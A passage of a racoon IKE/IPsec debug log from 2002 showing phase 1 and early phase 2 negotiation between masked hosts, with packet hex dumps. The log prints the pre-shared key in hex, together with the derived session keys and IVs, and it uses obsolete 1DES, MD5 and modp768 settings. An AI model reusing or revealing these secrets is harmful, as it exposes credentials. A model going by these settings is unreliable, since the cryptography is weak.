            (t: #1 id=ike (type=enc value=1des)(type=hash
value=md5)(type=group desc value=modp768)(type=auth
value=preshared)(type=lifetype value=sec)(type=lifeduration value=03e8))))
    (vid: len=16)
2002-07-30 09:07:46: DEBUG: sockmisc.c:421:sendfromto(): sockname
xxx.xxx.xxx.70[500]
2002-07-30 09:07:46: DEBUG: sockmisc.c:423:sendfromto(): send packet from
xxx.xxx.xxx.70[500]
2002-07-30 09:07:46: DEBUG: sockmisc.c:425:sendfromto(): send packet to
yyy.yyy.yyy.62[500]
2002-07-30 09:07:46: DEBUG: sockmisc.c:570:sendfromto(): 1 times of 100
bytes message will be sent to xxx.xxx.xxx.70[500]
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
ac807c45 f47b274e 1cbebccd d7441a4e 01100200 00000000 00000064 0d000034
00000001 00000001 00000028 01010001 00000020 01010000 80010001 80020001
80040001 80030001 800b0001 800c03e8 00000014 7003cbc1 097dbe9c 2600ba69
83bc8b35
2002-07-30 09:07:46: DEBUG: isakmp.c:1446:isakmp_ph1resend(): resend phase1
packet ac807c45f47b274e:1cbebccdd7441a4e
2002-07-30 09:07:46: DEBUG: isakmp.c:218:isakmp_handler(): ===
2002-07-30 09:07:46: DEBUG: isakmp.c:219:isakmp_handler(): 212 bytes message
received from yyy.yyy.yyy.62[500]
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
ac807c45 f47b274e 1cbebccd d7441a4e 04100200 00000000 000000d4 0a000064
486715dc 44d25140 6ca35a57 df22dc3a b9837719 379befd2 cc9d9c8c af993d73
132264a0 e4ab1996 befda8ef 2d247d0e 7244599c 8ef6745d f1d7ed1b 63ff914f
00811077 2aa9271c dc31ef48 3cc4ca0f 71c5e3ec 5bad14d1 07c15935 5cf94e16
0d000018 a9094684 20cd129a 17c060a0 34b7dcce 84b8a709 0d000014 12f5f28c
457168a9 702d9fe2 74cc0100 0d000014 afcad713 68a1f1c9 6b8696fc 77570100
00000014 5947db58 f47a274e 2def7ef9 16043e84
2002-07-30 09:07:46: DEBUG: isakmp.c:2245:isakmp_printpacket(): begin.
07:46.399235 yyy.yyy.yyy.62:500 -> xxx.xxx.xxx.70:500: isakmp 1.0 msgid
00000000: phase 1 ? ident:
    (ke: key len=96)
    (nonce: n len=20)
    (vid: len=16)
    (vid: len=16)
    (vid: len=16)
2002-07-30 09:07:46: DEBUG: isakmp.c:1109:isakmp_parsewoh(): begin.
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=4(ke)
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=10(nonce)
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=13(vid)
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=13(vid)
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=13(vid)
2002-07-30 09:07:46: DEBUG: isakmp.c:1175:isakmp_parsewoh(): succeed.
2002-07-30 09:07:46: DEBUG: vendorid.c:137:check_vendorid(): received
unknown Vendor ID
2002-07-30 09:07:46: DEBUG: vendorid.c:137:check_vendorid(): received
unknown Vendor ID
2002-07-30 09:07:46: DEBUG: vendorid.c:137:check_vendorid(): received
unknown Vendor ID
2002-07-30 09:07:46: DEBUG: isakmp.c:619:ph1_main(): ===
2002-07-30 09:07:46: DEBUG: oakley.c:253:oakley_dh_generate(): compute DH's
private.
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
908b98ff 05c1efee 7298107e ed9fd8fb 85cdff0b 6ac35727 d8e62fb3 0b3c26c1
a5183e1d 572da52b 45e72727 8fa588bd 358a86a3 bde77383 2fd9f399 584f91fe
d1d425f5 01462d6d 029568c2 3ff3a938 4b3e862c 25f8a891 0cef1fad 63739fd9
2002-07-30 09:07:46: DEBUG: oakley.c:255:oakley_dh_generate(): compute DH's
public.
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
b1c97422 df5cfce0 b2840737 44b3b39d 9bc2c97a 8100c4d7 24232cf8 cdf2cef5
7edfa229 460b9ae0 6389f27c a6d5e85a 7610edf5 82407c42 6378a620 4be786a9
e583b90e fa304d0a 745fdf5c 29311d37 7fe468f9 1a7ef909 ffe66326 06089be2
2002-07-30 09:07:46: DEBUG: isakmp.c:2110:set_isakmp_payload(): add payload
of len 96, next type 10
2002-07-30 09:07:46: DEBUG: isakmp.c:2110:set_isakmp_payload(): add payload
of len 16, next type 13
2002-07-30 09:07:46: DEBUG: isakmp.c:2110:set_isakmp_payload(): add payload
of len 16, next type 0
2002-07-30 09:07:46: DEBUG: isakmp.c:2245:isakmp_printpacket(): begin.
07:46.410241 xxx.xxx.xxx.70:500 -> yyy.yyy.yyy.62:500: isakmp 1.0 msgid
00000000: phase 1 ? ident:
    (ke: key len=96)
    (nonce: n len=16)
    (vid: len=16)
2002-07-30 09:07:46: DEBUG: sockmisc.c:421:sendfromto(): sockname
xxx.xxx.xxx.70[500]
2002-07-30 09:07:46: DEBUG: sockmisc.c:423:sendfromto(): send packet from
xxx.xxx.xxx.70[500]
2002-07-30 09:07:46: DEBUG: sockmisc.c:425:sendfromto(): send packet to
yyy.yyy.yyy.62[500]
2002-07-30 09:07:46: DEBUG: sockmisc.c:570:sendfromto(): 1 times of 168
bytes message will be sent to xxx.xxx.xxx.70[500]
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
ac807c45 f47b274e 1cbebccd d7441a4e 04100200 00000000 000000a8 0a000064
b1c97422 df5cfce0 b2840737 44b3b39d 9bc2c97a 8100c4d7 24232cf8 cdf2cef5
7edfa229 460b9ae0 6389f27c a6d5e85a 7610edf5 82407c42 6378a620 4be786a9
e583b90e fa304d0a 745fdf5c 29311d37 7fe468f9 1a7ef909 ffe66326 06089be2
0d000014 b4ed1e16 d9d6141e f80a2221 cfe7eed7 00000014 7003cbc1 097dbe9c
2600ba69 83bc8b35
2002-07-30 09:07:46: DEBUG: isakmp.c:1446:isakmp_ph1resend(): resend phase1
packet ac807c45f47b274e:1cbebccdd7441a4e
2002-07-30 09:07:46: DEBUG: oakley.c:207:oakley_dh_compute(): compute DH's
shared.
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
4926bc0c adffe6c5 6ddb32b1 6f38ccfe cd084394 fca9cd1d 32e5b380 70e3e9f9
3afd38e8 2a7c1719 c7e3b2cd 32d69873 6da5ec51 7faf449d 8fcbb7ff 820dc82a
86f443d5 493e35b6 c413fb29 414af10d 9994783f f7bbf37c 49ea69bc 580229ca
2002-07-30 09:07:46: DEBUG: oakley.c:2057:oakley_skeyid(): the psk found.
2002-07-30 09:07:46: DEBUG2: oakley.c:2059:oakley_skeyid(): psk: 2002-07-30
09:07:46: DEBUG2: plog.c:193:plogdump():
6c61637a 65476574 696e
2002-07-30 09:07:46: DEBUG: oakley.c:2072:oakley_skeyid(): nonce 1:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
a9094684 20cd129a 17c060a0 34b7dcce 84b8a709
2002-07-30 09:07:46: DEBUG: oakley.c:2078:oakley_skeyid(): nonce 2:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
b4ed1e16 d9d6141e f80a2221 cfe7eed7
2002-07-30 09:07:46: DEBUG: algorithm.c:322:alg_oakley_hmacdef():
hmac(hmac_md5)
2002-07-30 09:07:46: DEBUG: oakley.c:2131:oakley_skeyid(): SKEYID computed:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
7507b71b fd1332ac ca68d489 c3229244
2002-07-30 09:07:46: DEBUG: algorithm.c:322:alg_oakley_hmacdef():
hmac(hmac_md5)
2002-07-30 09:07:46: DEBUG: oakley.c:2188:oakley_skeyid_dae(): SKEYID_d
computed:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
cf8be12f 8dd5d3a5 8f8b1308 db0202c4
2002-07-30 09:07:46: DEBUG: algorithm.c:322:alg_oakley_hmacdef():
hmac(hmac_md5)
2002-07-30 09:07:46: DEBUG: oakley.c:2217:oakley_skeyid_dae(): SKEYID_a
computed:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
c72e1994 2d3299fa f631fa5c 27686996
2002-07-30 09:07:46: DEBUG: algorithm.c:322:alg_oakley_hmacdef():
hmac(hmac_md5)
2002-07-30 09:07:46: DEBUG: oakley.c:2246:oakley_skeyid_dae(): SKEYID_e
computed:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
b5a9e14b 687a9d70 42cf9cf2 b1de0b80
2002-07-30 09:07:46: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:07:46: DEBUG: algorithm.c:252:alg_oakley_hashdef(): hash(md5)
2002-07-30 09:07:46: DEBUG: oakley.c:2388:oakley_compute_enckey(): final
encryption key computed:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
b5a9e14b 687a9d70
2002-07-30 09:07:46: DEBUG: algorithm.c:252:alg_oakley_hashdef(): hash(md5)
2002-07-30 09:07:46: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:07:46: DEBUG: oakley.c:2499:oakley_newiv(): IV computed:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
a08856be 34147be4
2002-07-30 09:07:46: DEBUG: isakmp.c:218:isakmp_handler(): ===
2002-07-30 09:07:46: DEBUG: isakmp.c:219:isakmp_handler(): 68 bytes message
received from yyy.yyy.yyy.62[500]
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
ac807c45 f47b274e 1cbebccd d7441a4e 05100201 00000000 00000044 f7875931
69c9fd66 45c227c0 ae1cce73 3e4f1904 91c81b43 34373f77 19056fa5 a7eeef5c
6570a19e
2002-07-30 09:07:46: DEBUG: isakmp.c:2245:isakmp_printpacket(): begin.
07:46.552469 yyy.yyy.yyy.62:500 -> xxx.xxx.xxx.70:500: isakmp 1.0 msgid
00000000: phase 1 ? ident[E]: [|id]
2002-07-30 09:07:46: DEBUG: oakley.c:2619:oakley_do_decrypt(): begin
decryption.
2002-07-30 09:07:46: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:07:46: DEBUG: oakley.c:2633:oakley_do_decrypt(): IV was saved
for next processing:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
a7eeef5c 6570a19e
2002-07-30 09:07:46: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:07:46: DEBUG: oakley.c:2658:oakley_do_decrypt(): with key:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
b5a9e14b 687a9d70
2002-07-30 09:07:46: DEBUG: oakley.c:2666:oakley_do_decrypt(): decrypted
payload by IV:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
a08856be 34147be4
2002-07-30 09:07:46: DEBUG: oakley.c:2669:oakley_do_decrypt(): decrypted
payload, but not trimed.
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
0800000c 011101f4 3ee99b3e 00000014 cdc1e40e d2fc0913 b6ef2a19 8c713253
00000000 00000000
2002-07-30 09:07:46: DEBUG: oakley.c:2678:oakley_do_decrypt(): padding len=0
2002-07-30 09:07:46: DEBUG: oakley.c:2692:oakley_do_decrypt(): skip to trim
padding.
2002-07-30 09:07:46: DEBUG: oakley.c:2707:oakley_do_decrypt(): decrypted.
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
ac807c45 f47b274e 1cbebccd d7441a4e 05100201 00000000 00000044 0800000c
011101f4 3ee99b3e 00000014 cdc1e40e d2fc0913 b6ef2a19 8c713253 00000000
00000000
2002-07-30 09:07:46: DEBUG: isakmp.c:2245:isakmp_printpacket(): begin.
07:46.554039 yyy.yyy.yyy.62:500 -> xxx.xxx.xxx.70:500: isakmp 1.0 msgid
00000000: phase 1 ? ident:
    (id: idtype=IPv4 protoid=udp port=500 len=4 yyy.yyy.yyy.62)
    (hash: len=16)
2002-07-30 09:07:46: DEBUG: isakmp.c:1109:isakmp_parsewoh(): begin.
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=5(id)
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=8(hash)
2002-07-30 09:07:46: DEBUG: isakmp.c:1175:isakmp_parsewoh(): succeed.
2002-07-30 09:07:46: WARNING: ipsec_doi.c:3059:ipsecdoi_checkid1(): ID value
mismatched.
2002-07-30 09:07:46: DEBUG: oakley.c:1159:oakley_validate_auth(): HASH
received:2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
cdc1e40e d2fc0913 b6ef2a19 8c713253
2002-07-30 09:07:46: DEBUG: oakley.c:864:oakley_ph1hash_common(): HASH with:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
486715dc 44d25140 6ca35a57 df22dc3a b9837719 379befd2 cc9d9c8c af993d73
132264a0 e4ab1996 befda8ef 2d247d0e 7244599c 8ef6745d f1d7ed1b 63ff914f
00811077 2aa9271c dc31ef48 3cc4ca0f 71c5e3ec 5bad14d1 07c15935 5cf94e16
b1c97422 df5cfce0 b2840737 44b3b39d 9bc2c97a 8100c4d7 24232cf8 cdf2cef5
7edfa229 460b9ae0 6389f27c a6d5e85a 7610edf5 82407c42 6378a620 4be786a9
e583b90e fa304d0a 745fdf5c 29311d37 7fe468f9 1a7ef909 ffe66326 06089be2
ac807c45 f47b274e 1cbebccd d7441a4e 00000001 00000001 0000004c 01010002
03000020 01010000 80010001 80020001 80040001 80030001 800b0001 800c03e8
00000024 02010000 80010001 80020001 80040002 80030001 800b0001 000c0004
00015180 011101f4 3ee99b3e
2002-07-30 09:07:46: DEBUG: algorithm.c:322:alg_oakley_hmacdef():
hmac(hmac_md5)
2002-07-30 09:07:46: DEBUG: oakley.c:874:oakley_ph1hash_common(): HASH
computed:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
cdc1e40e d2fc0913 b6ef2a19 8c713253
2002-07-30 09:07:46: DEBUG: oakley.c:1190:oakley_validate_auth(): HASH for
PSK validated.
2002-07-30 09:07:46: DEBUG: isakmp_ident.c:1250:ident_r3recv(): peer's ID
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
011101f4 3ee99b3e
2002-07-30 09:07:46: DEBUG: isakmp.c:619:ph1_main(): ===
2002-07-30 09:07:46: DEBUG: ipsec_doi.c:3185:ipsecdoi_setid1(): use ID type
of IPv4_address
2002-07-30 09:07:46: DEBUG: isakmp_ident.c:1327:ident_r3send(): generate
HASH_R
2002-07-30 09:07:46: DEBUG: oakley.c:864:oakley_ph1hash_common(): HASH with:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
b1c97422 df5cfce0 b2840737 44b3b39d 9bc2c97a 8100c4d7 24232cf8 cdf2cef5
7edfa229 460b9ae0 6389f27c a6d5e85a 7610edf5 82407c42 6378a620 4be786a9
e583b90e fa304d0a 745fdf5c 29311d37 7fe468f9 1a7ef909 ffe66326 06089be2
486715dc 44d25140 6ca35a57 df22dc3a b9837719 379befd2 cc9d9c8c af993d73
132264a0 e4ab1996 befda8ef 2d247d0e 7244599c 8ef6745d f1d7ed1b 63ff914f
00811077 2aa9271c dc31ef48 3cc4ca0f 71c5e3ec 5bad14d1 07c15935 5cf94e16
1cbebccd d7441a4e ac807c45 f47b274e 00000001 00000001 0000004c 01010002
03000020 01010000 80010001 80020001 80040001 80030001 800b0001 800c03e8
00000024 02010000 80010001 80020001 80040002 80030001 800b0001 000c0004
00015180 011101f4 0a000001
2002-07-30 09:07:46: DEBUG: algorithm.c:322:alg_oakley_hmacdef():
hmac(hmac_md5)
2002-07-30 09:07:46: DEBUG: oakley.c:874:oakley_ph1hash_common(): HASH
computed:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
97cbfa45 9d6136c9 c059094f 3046ca17
2002-07-30 09:07:46: DEBUG: isakmp.c:2110:set_isakmp_payload(): add payload
of len 8, next type 8
2002-07-30 09:07:46: DEBUG: isakmp.c:2110:set_isakmp_payload(): add payload
of len 16, next type 0
2002-07-30 09:07:46: DEBUG: isakmp.c:2245:isakmp_printpacket(): begin.
07:46.556746 xxx.xxx.xxx.70:500 -> yyy.yyy.yyy.62:500: isakmp 1.0 msgid
00000000: phase 1 ? ident:
    (id: idtype=IPv4 protoid=udp port=500 len=4 10.0.0.1)
    (hash: len=16)
2002-07-30 09:07:46: DEBUG: oakley.c:2742:oakley_do_encrypt(): begin
encryption.
2002-07-30 09:07:46: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:07:46: DEBUG: oakley.c:2758:oakley_do_encrypt(): pad length =
8
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
0800000c 011101f4 0a000001 00000014 97cbfa45 9d6136c9 c059094f 3046ca17
00000000 00000008
2002-07-30 09:07:46: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:07:46: DEBUG: oakley.c:2793:oakley_do_encrypt(): with key:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
b5a9e14b 687a9d70
2002-07-30 09:07:46: DEBUG: oakley.c:2801:oakley_do_encrypt(): encrypted
payload by IV:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
a7eeef5c 6570a19e
2002-07-30 09:07:46: DEBUG: oakley.c:2808:oakley_do_encrypt(): save IV for
next:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
5dd5e325 f1e6fcf2
2002-07-30 09:07:46: DEBUG: oakley.c:2825:oakley_do_encrypt(): encrypted.
2002-07-30 09:07:46: DEBUG: sockmisc.c:421:sendfromto(): sockname
xxx.xxx.xxx.70[500]
2002-07-30 09:07:46: DEBUG: sockmisc.c:423:sendfromto(): send packet from
xxx.xxx.xxx.70[500]
2002-07-30 09:07:46: DEBUG: sockmisc.c:425:sendfromto(): send packet to
yyy.yyy.yyy.62[500]
2002-07-30 09:07:46: DEBUG: sockmisc.c:570:sendfromto(): 1 times of 68 bytes
message will be sent to xxx.xxx.xxx.70[500]
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
ac807c45 f47b274e 1cbebccd d7441a4e 05100201 00000000 00000044 5c23fae9
69caff06 e00b5a07 459c99d4 d41a4ef7 f4e9a8d2 cc28bebf 6fd25ff8 5dd5e325
f1e6fcf2
2002-07-30 09:07:46: DEBUG: oakley.c:2543:oakley_newiv2(): compute IV for
phase2
2002-07-30 09:07:46: DEBUG: oakley.c:2544:oakley_newiv2(): phase1 last IV:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
5dd5e325 f1e6fcf2 f589c125
2002-07-30 09:07:46: DEBUG: algorithm.c:252:alg_oakley_hashdef(): hash(md5)
2002-07-30 09:07:46: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:07:46: DEBUG: oakley.c:2576:oakley_newiv2(): phase2 IV
computed:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
28555ac9 47919cd4
2002-07-30 09:07:46: DEBUG: oakley.c:745:oakley_compute_hash1(): HASH with:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
f589c125 0000001c 00000001 01106002 ac807c45 f47b274e 1cbebccd d7441a4e
2002-07-30 09:07:46: DEBUG: algorithm.c:322:alg_oakley_hmacdef():
hmac(hmac_md5)
2002-07-30 09:07:46: DEBUG: oakley.c:755:oakley_compute_hash1(): HASH
computed:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
4ebb3dd5 a02f5972 274fb122 3ea58c9e
2002-07-30 09:07:46: DEBUG: isakmp.c:2245:isakmp_printpacket(): begin.
07:46.559544 xxx.xxx.xxx.70:500 -> yyy.yyy.yyy.62:500: isakmp 1.0 msgid
f589c125: phase 2/others ? inf:
    (hash: len=16)
    (n: doi=ipsec proto=isakmp type=INITIAL-CONTACT
spi=ac807c45f47b274e1cbebccdd7441a4e)
2002-07-30 09:07:46: DEBUG: oakley.c:2742:oakley_do_encrypt(): begin
encryption.
2002-07-30 09:07:46: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:07:46: DEBUG: oakley.c:2758:oakley_do_encrypt(): pad length =
8
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
0b000014 4ebb3dd5 a02f5972 274fb122 3ea58c9e 0000001c 00000001 01106002
ac807c45 f47b274e 1cbebccd d7441a4e 00000000 00000008
2002-07-30 09:07:46: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:07:46: DEBUG: oakley.c:2793:oakley_do_encrypt(): with key:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
b5a9e14b 687a9d70
2002-07-30 09:07:46: DEBUG: oakley.c:2801:oakley_do_encrypt(): encrypted
payload by IV:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
28555ac9 47919cd4
2002-07-30 09:07:46: DEBUG: oakley.c:2808:oakley_do_encrypt(): save IV for
next:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
756eb00a 0162c137
2002-07-30 09:07:46: DEBUG: oakley.c:2825:oakley_do_encrypt(): encrypted.
2002-07-30 09:07:46: DEBUG: sockmisc.c:421:sendfromto(): sockname
xxx.xxx.xxx.70[500]
2002-07-30 09:07:46: DEBUG: sockmisc.c:423:sendfromto(): send packet from
xxx.xxx.xxx.70[500]
2002-07-30 09:07:46: DEBUG: sockmisc.c:425:sendfromto(): send packet to
yyy.yyy.yyy.62[500]
2002-07-30 09:07:46: DEBUG: sockmisc.c:570:sendfromto(): 1 times of 84 bytes
message will be sent to xxx.xxx.xxx.70[500]
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
ac807c45 f47b274e 1cbebccd d7441a4e 08100501 f589c125 00000054 9efb20ea
b4964749 9fed8b66 b3d52a48 27f8be3f 9340c545 19c2bd9f 3a727d40 1e39992e
7797e0fd 7ec27388 fab9f2e3 756eb00a 0162c137
2002-07-30 09:07:46: DEBUG: isakmp_inf.c:634:isakmp_info_send_common():
sendto Information notify.
2002-07-30 09:07:46: INFO: isakmp.c:2409:log_ph1established(): ISAKMP-SA
established xxx.xxx.xxx.70[500]-yyy.yyy.yyy.62[500]
spi:ac807c45f47b274e:1cbebccdd7441a4e
2002-07-30 09:07:46: DEBUG: isakmp.c:666:ph1_main(): ===
2002-07-30 09:07:46: DEBUG: isakmp.c:218:isakmp_handler(): ===
2002-07-30 09:07:46: DEBUG: isakmp.c:219:isakmp_handler(): 316 bytes message
received from yyy.yyy.yyy.62[500]
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
ac807c45 f47b274e 1cbebccd d7441a4e 08102001 fe990af1 0000013c 76f9b209
919ce0a2 de383664 35b616c1 726a7c94 32d7a814 500abea9 50824e57 457dbee0
1f5de584 dfbca6c1 ab8eab18 94426b19 c6a5b814 f71c7093 7f3e9d6f 797ec813
0fb3f604 b507f03a d0b992c8 d655654c a0badc5d 56c90f82 21f019bb 1c1861a5
44ea240f 5d465476 409fde28 2f0d9e9e 507c1588 f43a6bdc 48d64e90 af79c269
c45d3273 e4929e86 a6ae982d 2e99d9f8 20723048 6ee0022e e21886ee 55f2f730
0b07ed0f 4f34a001 11bf3119 dbc883df 95dd7b83 be475fa0 cba7e6c5 cc8ab740
a80149e1 8ac96d1d 9d4a6f54 24f510e9 500d51f4 c66b71a9 d68757f9 65cdced2
7c7e5f45 78af9dc6 834882f8 6081a76a fb50acbc a245800e 1b6051f6 9620e8cd
1bb2a20b ce850e0b 7b71cddc 4bc8e714 d3f8e787 ab2b314c cb749e52
2002-07-30 09:07:46: DEBUG: isakmp.c:2245:isakmp_printpacket(): begin.
07:46.727837 yyy.yyy.yyy.62:500 -> xxx.xxx.xxx.70:500: isakmp 1.0 msgid
fe990af1: phase 2/others ? oakley-quick[E]: [|hash]
2002-07-30 09:07:46: DEBUG: oakley.c:2543:oakley_newiv2(): compute IV for
phase2
2002-07-30 09:07:46: DEBUG: oakley.c:2544:oakley_newiv2(): phase1 last IV:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
5dd5e325 f1e6fcf2 fe990af1
2002-07-30 09:07:46: DEBUG: algorithm.c:252:alg_oakley_hashdef(): hash(md5)
2002-07-30 09:07:46: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:07:46: DEBUG: oakley.c:2576:oakley_newiv2(): phase2 IV
computed:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
54bd5a4e 41e2d3b7
2002-07-30 09:07:46: DEBUG: isakmp.c:1041:isakmp_ph2begin_r(): ===
2002-07-30 09:07:46: INFO: isakmp.c:1046:isakmp_ph2begin_r(): respond new
phase 2 negotiation: xxx.xxx.xxx.70[0]<=>yyy.yyy.yyy.62[0]
2002-07-30 09:07:46: DEBUG: oakley.c:2619:oakley_do_decrypt(): begin
decryption.
2002-07-30 09:07:46: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:07:46: DEBUG: oakley.c:2633:oakley_do_decrypt(): IV was saved
for next processing:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
ab2b314c cb749e52
2002-07-30 09:07:46: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:07:46: DEBUG: oakley.c:2658:oakley_do_decrypt(): with key:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
b5a9e14b 687a9d70
2002-07-30 09:07:46: DEBUG: oakley.c:2666:oakley_do_decrypt(): decrypted
payload by IV:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
54bd5a4e 41e2d3b7
2002-07-30 09:07:46: DEBUG: oakley.c:2669:oakley_do_decrypt(): decrypted
payload, but not trimed.
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
01000014 f97e334c 259db005 0b2ca0b0 8eb56996 0a000074 00000001 00000001
02000034 01020401 f17d1bfa 00000028 01020000 80040001 80010001 80027080
80010002 00020004 00465000 80030001 80050001 00000034 01030401 028a2fa8
00000028 01020000 80040001 80010001 80027080 80010002 00020004 00465000
80050001 80030001 04000018 68cd589f b6f640a9 ab51388e 739d559a d3debeed
05000064 5667f1b3 a1acea95 9fc21866 16b09c60 b6fb5011 69293d7e 5529ca69
3343df02 1857d238 eb743bc6 22525df7 56704e9b 212ff9b7 67ccfa06 f5fd33bf
3f0e51cf e3792910 bd2f905d 931c3ad4 10f8b30e a7e40354 1a2694a2 7dee64f1
a3766e7d 0500000c 01000000 c0a80537 0000000c 01000000 0a000001 00000000
2002-07-30 09:07:46: DEBUG: oakley.c:2678:oakley_do_decrypt(): padding len=0
2002-07-30 09:07:46: DEBUG: oakley.c:2692:oakley_do_decrypt(): skip to trim
padding.
2002-07-30 09:07:46: DEBUG: oakley.c:2707:oakley_do_decrypt(): decrypted.
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
ac807c45 f47b274e 1cbebccd d7441a4e 08102001 fe990af1 0000013c 01000014
f97e334c 259db005 0b2ca0b0 8eb56996 0a000074 00000001 00000001 02000034
01020401 f17d1bfa 00000028 01020000 80040001 80010001 80027080 80010002
00020004 00465000 80030001 80050001 00000034 01030401 028a2fa8 00000028
01020000 80040001 80010001 80027080 80010002 00020004 00465000 80050001
80030001 04000018 68cd589f b6f640a9 ab51388e 739d559a d3debeed 05000064
5667f1b3 a1acea95 9fc21866 16b09c60 b6fb5011 69293d7e 5529ca69 3343df02
1857d238 eb743bc6 22525df7 56704e9b 212ff9b7 67ccfa06 f5fd33bf 3f0e51cf
e3792910 bd2f905d 931c3ad4 10f8b30e a7e40354 1a2694a2 7dee64f1 a3766e7d
0500000c 01000000 c0a80537 0000000c 01000000 0a000001 00000000
2002-07-30 09:07:46: DEBUG: isakmp.c:2245:isakmp_printpacket(): begin.
07:46.730198 yyy.yyy.yyy.62:500 -> xxx.xxx.xxx.70:500: isakmp 1.0 msgid
fe990af1: phase 2/others ? oakley-quick:
    (hash: len=16)
    (sa: doi=ipsec situation=identity
        (p: #1 protoid=ipsec-ah transform=1 spi=f17d1bfa
            (t: #1 id=md5 (type=enc mode value=tunnel)(type=lifetype
value=sec)(type=life value=7080)(type=lifetype value=kb)(type=life len=4
value=00465000)(type=group desc value=modp768)(type=auth value=hmac-md5)))
        (p: #1 protoid=ipsec-esp transform=1 spi=028a2fa8
            (t: #1 id=1des (type=enc mode value=tunnel)(type=lifetype
value=sec)(type=life value=7080)(type=lifetype value=kb)(type=life len=4
value=00465000)(type=auth value=hmac-md5)(type=group desc value=modp768))))
    (nonce: n len=20)
    (ke: key len=96)
    (id: idtype=IPv4 protoid=0 port=0 len=4 192.168.5.55)
    (id: idtype=IPv4 protoid=0 port=0 len=4 10.0.0.1)
2002-07-30 09:07:46: DEBUG: isakmp.c:1109:isakmp_parsewoh(): begin.
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=8(hash)
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=1(sa)
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=10(nonce)
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=4(ke)
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=5(id)
2002-07-30 09:07:46: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=5(id)
2002-07-30 09:07:46: DEBUG: isakmp.c:1175:isakmp_parsewoh(): succeed.
2002-07-30 09:07:46: DEBUG: isakmp_quick.c:1004:quick_r1recv(): received
